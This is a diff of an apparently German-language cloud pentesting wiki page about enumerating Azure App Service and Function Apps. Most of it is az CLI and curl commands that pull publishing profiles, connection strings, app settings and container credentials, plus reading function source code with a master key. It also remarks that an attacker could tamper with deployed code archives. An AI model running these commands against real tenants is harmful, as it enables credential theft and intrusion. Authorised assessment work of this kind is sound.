az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
@@ -75,61 +130,39 @@ az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
# Restore snapshot
|
||||
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
# Get slots
|
||||
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
|
||||
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get traffic-routing
|
||||
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-gl_group
|
||||
az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
|
||||
# Read webjobs logs with Azure permissions
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
# Read webjobs logs with SCM credentials
|
||||
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
# Get connections of a webapp
|
||||
az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get SSL certificates
|
||||
az functionapp config ssl list --resource-group <res-group>
|
||||
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -196,6 +229,40 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Beispiele zur Erstellung von Webanwendungen
|
||||
|
||||
### Python von lokal
|
||||
|
||||
Dieses Tutorial basiert auf dem von [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli).
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
||||
cd msdocs-python-flask-webapp-quickstart
|
||||
|
||||
# Create webapp from this code
|
||||
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
|
||||
```
|
||||
In das SCM-Portal einloggen oder über FTP einloggen, ist es möglich, in `/wwwroot` die komprimierte Datei `output.tar.gz` zu sehen, die den Code der Webanwendung enthält.
|
||||
|
||||
> [!TIP]
|
||||
> Nur über FTP zu verbinden und die Datei `output.tar.gz` zu ändern, reicht nicht aus, um den von der Webanwendung ausgeführten Code zu ändern.
|
||||
|
||||
**Ein Angreifer könnte diese Datei herunterladen, sie ändern und sie erneut hochladen, um beliebigen Code in der Webanwendung auszuführen.**
|
||||
|
||||
### Python von Github
|
||||
|
||||
Dieses Tutorial basiert auf dem vorherigen, verwendet jedoch ein Github-Repository.
|
||||
|
||||
1. Forken Sie das Repo msdocs-python-flask-webapp-quickstart in Ihrem Github-Konto.
|
||||
2. Erstellen Sie eine neue Python-Webanwendung in Azure.
|
||||
3. Ändern Sie im `Deployment Center` die Quelle, melden Sie sich mit Github an, wählen Sie das geforkte Repo aus und klicken Sie auf `Speichern`.
|
||||
|
||||
Wie im vorherigen Fall ist es möglich, sich in das SCM-Portal einzuloggen oder über FTP einzuloggen und in `/wwwroot` die komprimierte Datei `output.tar.gz` zu sehen, die den Code der Webanwendung enthält.
|
||||
|
||||
> [!TIP]
|
||||
> Nur über FTP zu verbinden und die Datei `output.tar.gz` zu ändern und eine Bereitstellung erneut auszulösen, reicht nicht aus, um den von der Webanwendung ausgeführten Code zu ändern.
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
|
||||
Reference in New Issue
Block a user